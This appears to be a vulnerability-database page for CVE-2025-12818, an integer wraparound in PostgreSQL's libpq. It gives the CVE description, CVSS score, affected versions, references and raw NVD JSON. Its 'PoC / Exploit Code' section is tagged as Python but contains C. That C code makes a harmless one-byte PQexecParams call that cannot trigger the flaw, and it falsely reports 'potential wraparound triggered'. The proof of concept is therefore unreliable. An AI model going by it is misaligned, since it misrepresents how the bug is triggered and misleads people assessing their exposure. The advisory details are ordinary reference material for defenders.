CVE-2025-12818

Description

Integer wraparound in multiple PostgreSQL libpq client library functions allows an application input provider or network peer to cause libpq to undersize an allocation and write out-of-bounds by hundreds of megabytes. This results in a segmentation fault for the application using libpq. Versions before PostgreSQL 18.1, 17.7, 16.11, 15.15, 14.20, and 13.23 are affected.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

PostgreSQL < 13.23

PostgreSQL < 14.20

PostgreSQL < 15.15

PostgreSQL < 16.11

PostgreSQL < 17.7

PostgreSQL < 18.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-12818 PoC - Integer Wraparound in libpq
// This PoC demonstrates triggering integer wraparound via oversized parameter

#include <libpq-fe.h>
#include <stdio.h>
#include <string.h>

// Simulate triggering the integer wraparound condition
void trigger_wraparound_poc(const char* conninfo) {
    PGconn* conn = PQconnectdb(conninfo);
    
    if (PQstatus(conn) != CONNECTION_OK) {
        fprintf(stderr, "Connection failed: %s\n", PQerrorMessage(conn));
        return;
    }
    
    // Create a command with oversized parameter that triggers wraparound
    // In real scenario, this would cause libpq to undersize allocation
    const char* params[1];
    params[0] = "\x41"; // Minimal parameter value
    
    // This simulates the condition where libpq calculates wrong buffer size
    // due to integer wraparound when handling large length values
    PGresult* res = PQexecParams(conn,
        "SELECT $1::text",  // Simple query
        1,                  // Number of parameters
        NULL,               // Parameter types
        params,             // Parameter values
        NULL,               // Parameter lengths (triggers wraparound if large)
        NULL,               // Parameter formats
        0);                 // Result format (text)
    
    if (PQresultStatus(res) == PGRES_TUPLES_OK) {
        printf("Query executed - potential wraparound triggered\n");
    }
    
    PQclear(res);
    PQfinish(conn);
}

int main(int argc, char** argv) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <connection_string>\n", argv[0]);
        return 1;
    }
    trigger_wraparound_poc(argv[1]);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12818
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12818
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12818/
[4] VulDB https://vuldb.com/cve/CVE-2025-12818
[5] https://www.postgresql.org/support/security/CVE-2025-12818/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12818", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2025-11-13T13:15:45.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer wraparound in multiple PostgreSQL libpq client library functions allows an application input provider or network peer to cause libpq to undersize an allocation and write out-of-bounds by hundreds of megabytes.  This results in a segmentation fault for the application using libpq.  Versions before PostgreSQL 18.1, 17.7, 16.11, 15.15, 14.20, and 13.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2025-12818/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}